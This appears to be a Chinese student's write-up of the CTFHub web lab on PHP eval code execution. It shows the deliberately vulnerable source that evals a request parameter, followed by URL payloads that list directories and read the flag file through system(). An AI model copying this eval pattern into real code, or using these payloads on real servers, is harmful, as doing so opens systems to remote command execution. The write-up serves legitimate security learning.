CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
我爱cope3 分钟前
【计算机网络 | 网络层4:子网掩码与 CIDR:如何判断网络号和主机号?】
网络·学习·计算机网络
MSTcheng.15 分钟前
【Linux学习】Linux学习第二弹——Linux基本指令1
linux·运维·服务器·学习·指令
05664630 分钟前
python高级——Python 类型提示与 Pydantic
网络·人工智能·windows·python·学习
M78佐菲34 分钟前
Linux学习笔记:目录IO与帧缓冲
linux·笔记·学习·算法
其实防守也摸鱼1 小时前
如何使用自动化教育SRC漏洞挖掘系统--AutoHunter
运维·网络·人工智能·学习·安全·web安全·自动化
天天爱吃肉82181 小时前
XCP协议 Part 1 概述 — 完整学习笔记(商用车主机厂工程师版)
大数据·笔记·python·学习·汽车
我的xiaodoujiao1 小时前
Django 基础知识详细图文教程 1-Django 介绍
后端·python·学习·测试工具·django
狂云歌2 小时前
AI时代,学什么,怎么学
人工智能·学习
lingguangbuzhi2 小时前
【JAVA教程】java课程java学习编程
java·学习·教程
YM52e2 小时前
鸿蒙 ArkTS 实战|防渣万能执行方案:五阶段防御体系 + 红线清单的代码实现
学习·华为·harmonyos